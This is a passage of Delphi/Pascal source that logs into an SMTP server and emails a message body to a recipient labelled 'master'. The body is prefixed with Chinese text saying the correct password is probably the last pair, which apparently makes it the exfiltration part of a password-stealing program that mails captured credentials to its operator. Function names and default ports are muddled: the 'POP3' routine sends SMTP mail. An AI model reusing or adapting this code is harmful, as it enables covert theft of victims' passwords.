end;
end;
end;
function SMTPLogin(Host, User, Password: string; Port: Integer = 110): Integer;
var
Sockfd: Integer;
begin
Result := INVALID_SOCKET;
Sockfd := CreateClientSocket(Host, Port);
if (Sockfd = INVALID_SOCKET)
then
begin
CloseSocket(Sockfd);
Exit;
end;
SMTPresponse(sockfd, '220');
write_socket(sockfd, 'EHLO ' + user + CRLF);
SMTPresponse(sockfd, '250');
Write_socket(sockfd, 'RSET' + CRLF);
SMTPresponse(sockfd, '250');
Write_Socket(sockfd, 'AUTH LOGIN' + CRLF);
if not SMTPResponse(sockfd, '334')
then
begin
CloseSocket(sockfd);
Exit;
end;
Write_Socket(sockfd, EncodeBase64(User) + CRLF);
if not SMTPResponse(sockfd, '334')
then
begin
CloseSocket(sockfd);
Exit;
end;
Write_Socket(sockfd, EncodeBase64(password) + CRLF);
if not SMTPResponse(sockfd, '235')
then
begin
CloseSocket(sockfd);
Exit;
end;
Result := Sockfd;
end;
function POP3RetriveMail(Subject, Body, Receive: string; Port: Integer = 25): string; //,Subject,ToEmail
var
sockfd: integer;
sendbody {, S}: string;
//ok: boolean;
begin
Result := '';
SendBody := 'From:"会员版"<'+Email.name+'>' + CRLF
+ 'To:"主人"<' + Receive + '>' + CRLF
+ 'Subject:' + Subject + CRLF
+ CRLF
+ Body + CRLF + '.' + CRLF; //这是邮件内容。
Sockfd := SMTPLogin(Email.stmp, Email.ID, Email.password, Port);
if Sockfd = INVALID_SOCKET then Exit;
Write_Socket(sockfd, 'MAIL FROM: <'+ Email.name+'>'+ CRLF);
if not SMTPResponse(sockfd, '250')
then
begin
CloseSocket(sockfd);
Exit;
end;
Write_Socket(sockfd, 'RCPT TO: <' + Receive + '>' + CRLF); //'+user+'
if not SMTPResponse(sockfd, '250')
then
begin
CloseSocket(sockfd);
Exit;
end;
Write_Socket(sockfd, 'DATA' + CRLF);
if not SMTPResponse(sockfd, '354')
then
begin
CloseSocket(sockfd);
Exit;
end
else
begin
Write_Socket(sockfd, sendbody);
SMTPresponse(sockfd, '110');
end;
Write_Socket(sockfd, 'QUIT'#13#10);
smtpresponse(sockfd, 'quit');
Closesocket(sockfd);
end;
procedure SendMail;
var
w: TWSADATA;
r,count:integer;
begin
if EmailBody <> '' then
try
EmailBody := '******正确的密码可能是最后一对******' + CRLF + CRLF + EmailBody + CRLF + CRLF + '希望您早日成为我们的会员,祝你使用快乐! ';
// MessageBox(0, pchar(EmailBody), '提示', MB_OK + MB_ICONINFORMATION);


